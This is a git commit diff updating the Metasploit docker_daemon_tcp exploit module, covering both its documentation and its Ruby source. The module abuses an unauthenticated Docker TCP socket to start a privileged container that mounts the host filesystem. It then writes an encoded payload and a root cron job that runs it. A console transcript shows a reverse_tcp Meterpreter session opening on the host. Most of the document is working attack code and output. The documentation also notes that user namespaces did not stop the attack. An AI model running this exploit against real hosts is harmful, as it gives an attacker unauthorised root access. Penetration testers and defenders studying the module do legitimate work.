Land #9050, @mpizala's improvements to the docker_daemon_tcp module
commit
879db5cf38
|
@ -67,6 +67,8 @@ OK
|
|||
|
||||
[Disable][5] or [protect][6] the Docker tcp socket.
|
||||
|
||||
[User namespaces][7] did **not** protect against this.
|
||||
|
||||
# Exploitation
|
||||
This module is designed for the attacker to leverage, creation of a
|
||||
Docker container with out authentication through the Docker tcp socket
|
||||
|
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
|
|||
msf > use exploit/linux/http/docker_daemon_tcp
|
||||
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
|
||||
RHOST => 192.168.66.23
|
||||
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
|
||||
PAYLOAD => python/meterpreter/reverse_tcp
|
||||
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
|
||||
LHOST => 192.168.66.10
|
||||
msf exploit(docker_daemon_tcp) > set VERBOSE true
|
||||
|
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
|
|||
[*] Waiting for the cron job to run, can take up to 60 seconds
|
||||
[*] Waiting until the docker container stopped
|
||||
[*] The docker container has been stopped, now trying to remove it
|
||||
[*] Sending stage (40411 bytes) to 192.168.66.23
|
||||
[*] Sending stage (2878936 bytes) to 192.168.66.23
|
||||
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
|
||||
[+] Deleted /etc/cron.d/lVoepNpy
|
||||
[+] Deleted /tmp/poasDIuZ
|
||||
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : debian
|
||||
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
|
||||
Computer : rancher
|
||||
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
@ -129,3 +130,4 @@ meterpreter >
|
|||
[4]:https://docs.docker.com/engine/admin/systemd/
|
||||
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
|
||||
[6]:https://docs.docker.com/engine/security/https/
|
||||
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container
|
||||
|
|
|
@ -33,9 +33,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
],
|
||||
'DisclosureDate' => 'Jul 25, 2017',
|
||||
'Targets' => [
|
||||
[ 'Linux x64', {
|
||||
'Arch' => ARCH_X64,
|
||||
'Platform' => 'linux'
|
||||
}],
|
||||
[ 'Python', {
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Platform' => 'python',
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'ConnectionType' => 'reverse noconn none tunnel'
|
||||
|
@ -43,13 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
}
|
||||
}]
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
|
||||
'Payload' => { 'Space' => 65000, 'DisableNops' => true },
|
||||
'DefaultOptions' => { 'WfsDelay' => 180 },
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2375),
|
||||
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
|
||||
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
|
||||
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
|
||||
]
|
||||
)
|
||||
|
@ -57,22 +62,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def check_image(image_id)
|
||||
vprint_status("Check if images exist on the target host")
|
||||
res = send_request_raw(
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('images', 'json')
|
||||
'uri' => normalize_uri('images', 'json'),
|
||||
'ctype' => 'application/json'
|
||||
)
|
||||
return unless res and res.code == 200 and res.body.include? image_id
|
||||
return unless res && res.code == 200 && res.body.include?(image_id)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def pull_image(image_id)
|
||||
print_status("Trying to pulling image from docker registry, this may take a while")
|
||||
res = send_request_raw(
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
|
||||
'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
|
||||
'ctype' => 'application/json'
|
||||
)
|
||||
return unless res.code == 200
|
||||
return unless res && res.code == 200
|
||||
|
||||
res
|
||||
end
|
||||
|
@ -88,12 +95,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
echo_cron_path = mnt_path + cron_path
|
||||
echo_payload_path = mnt_path + payload_path
|
||||
|
||||
case target
|
||||
when targets[0] # linux
|
||||
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
|
||||
cron_command = payload_path
|
||||
when targets[1] # python
|
||||
command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
|
||||
cron_command = "python #{payload_path}"
|
||||
payload_data = payload.raw
|
||||
end
|
||||
|
||||
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
|
||||
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
|
||||
command << "echo \"\" >> #{echo_cron_path} && "
|
||||
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
|
||||
|
||||
command
|
||||
|
@ -108,25 +120,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'HostConfig' => {
|
||||
'Binds' => [
|
||||
'/:' + mnt_path
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'UsernsMode' => 'host'
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
def del_container(container_id)
|
||||
send_request_raw(
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri('containers', container_id)
|
||||
'uri' => normalize_uri('containers', container_id),
|
||||
'ctype' => 'application/json'
|
||||
},
|
||||
1 # timeout
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_raw(
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('containers', 'json'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
|
@ -135,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res and res.code == 200 and res.headers['Server'].include? 'Docker'
|
||||
if res && res.code == 200 && res.headers['Server'].include?('Docker')
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
|
@ -161,10 +177,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
container_id = make_container_id
|
||||
|
||||
# create container
|
||||
res_create = send_request_raw(
|
||||
res_create = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('containers', 'create?name=' + container_id),
|
||||
'headers' => { 'Content-Type' => 'application/json' },
|
||||
'ctype' => 'application/json',
|
||||
'data' => make_container(mnt_path, cron_path, payload_path).to_json
|
||||
)
|
||||
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
|
||||
|
@ -173,25 +189,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
register_files_for_cleanup(cron_path, payload_path)
|
||||
|
||||
# start container
|
||||
send_request_raw(
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('containers', container_id, 'start')
|
||||
'uri' => normalize_uri('containers', container_id, 'start'),
|
||||
'ctype' => 'application/json'
|
||||
},
|
||||
1 # timeout
|
||||
)
|
||||
|
||||
# wait until container stopped
|
||||
vprint_status("Waiting until the docker container stopped")
|
||||
res_wait = send_request_raw(
|
||||
res_wait = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('containers', container_id, 'wait'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
# delete container
|
||||
deleted_container = false
|
||||
if res_wait.code == 200
|
||||
if res_wait && res_wait.code == 200
|
||||
vprint_status("The docker container has been stopped, now trying to remove it")
|
||||
del_container(container_id)
|
||||
deleted_container = true
|
||||
|
|
Loading…
Reference in New Issue